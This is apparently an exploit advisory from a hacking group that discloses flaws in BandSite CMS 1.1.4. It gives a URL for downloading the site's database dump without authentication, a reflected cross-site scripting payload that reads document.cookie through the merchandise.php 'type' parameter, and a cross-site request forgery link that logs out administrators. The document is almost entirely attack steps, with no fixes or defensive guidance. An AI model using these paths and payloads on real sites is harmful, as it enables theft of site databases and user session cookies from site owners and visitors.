bandsitecms-xss.txt

`###########################################################################  
[+] BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF  
[+] Discovered By SirGod   
[+] www.mortal-team.org   
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN  
###########################################################################  
  
[+] Arbitrary Download Database  
  
Go to  
  
http://localhost/[Path]/adminpanel/phpmydump.php  
  
and the download will begin ( database.sql ) .  
  
  
[+] Cross Site Scripting  
  
http://localhost/[Path]/merchandise.php?type=[XSS]  
http://localhost/[Path]/merchandise.php?type=<script>alert(document.cookie)</script>  
  
  
[+] Cross Site Request Forgery  
  
If a logged in user with administrator privilegies click the following url he will be logged out.  
  
http://localhost/[Path]/adminpanel/logout.php  
  
  
###########################################################################  
  
`